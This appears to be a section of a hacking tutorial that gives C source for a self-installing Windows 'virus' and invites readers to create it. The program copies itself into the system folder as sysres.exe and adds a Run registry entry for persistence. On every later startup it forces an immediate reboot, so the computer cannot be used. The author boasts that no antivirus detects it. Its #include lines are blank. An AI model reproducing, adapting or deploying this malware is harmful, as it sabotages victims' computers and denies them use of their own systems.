6. Virus who shutdown the computer at every start up

In this segment I will tell you to create a virus
which shut down the computer at every start up and hence in this manner
user will not be able to operate any computer..

I have written this program in the C program
the source code of this program is this::

#include
#include
#include

int found,drive_no;
char buff[128];

void findroot()
{
int done;
struct ffblk ffblk;//File block structure
done=findfirst("C:\\windows\\system",&ffblk,FA_DIREC); //to determine the root drive
if(done==0)
{
done=findfirst("C:\\windows\\system\\sysres.exe",&ffblk,0); //to determine whether the virus is already installed or not
if(done==0)
{
found=1; //means that the system is already infected
return;
}
drive_no=1;
return;
}

done=findfirst("D:\\windows\\system",&ffblk,FA_DIREC);
if(done==0)
{
done=findfirst("D:\\windows\\system\\sysres.exe",&ffblk,0);
if(done==0)
{
found=1;
return;
}
drive_no=2;
return;
}

done=findfirst("E:\\windows\\system",&ffblk,FA_DIREC);
if(done==0)
{
done=findfirst("E:\\windows\\system\\sysres.exe",&ffblk,0);
if(done==0)
{
found=1;
return;
}
drive_no=3;
return;
}

done=findfirst("F:\\windows\\system",&ffblk,FA_DIREC);
if(done==0)
{
done=findfirst("F:\\windows\\system\\sysres.exe",&ffblk,0);
if(done==0)
{
found=1;
return;
}
drive_no=4;
return;
}
else
exit(0);

}

void main()
{
FILE *self,*target;
findroot();
if(found==0) //if the system is not already infected
{
self=fopen(_argv[0],"rb"); //The virus file open's itself
switch(drive_no)
{
case 1:
target=fopen("C:\\windows\\system\\sysres.exe","wb");//to place a copy of itself in a remote place
system("REG ADD HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Run \/v sres \/t REG_SZ \/d C:\\windows\\system\\sysres.exe");//put this file to registry for starup
break;
case 2:
target=fopen("D:\\windows\\system\\sysres.exe","wb");
system("REG ADD HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Run \/v sres \/t REG_SZ \/d D:\\windows\\system\\sysres.exe");
break;
case 3:
target=fopen("E:\\windows\\system\\sysres.exe","wb");
system("REG ADD HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Run \/v sres \/t REG_SZ \/d E:\\windows\\system\\sysres.exe");
break;
case 4:
target=fopen("F:\\windows\\system\\sysres.exe","wb");
system("REG ADD HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Run \/v sres \/t REG_SZ \/d F:\\windows\\system\\sysres.exe");
break;
default:
exit(0);
}
while(fread(buff,1,1,self)>0)
fwrite(buff,1,1,target);
fcloseall();
}
else
system("shutdown -r -t 0");//if the system is already infected then just give a command to restart
}



:::::::::::
For this, the virus need to be doubleclicked only once and from then onwards it will carry out rest of the operations.And one more thing,none of the antivirus softwares detect's this as a virus.I have coded this virus in C.So if you are familiar with C language then it's too easy to understand the logic behind the coding.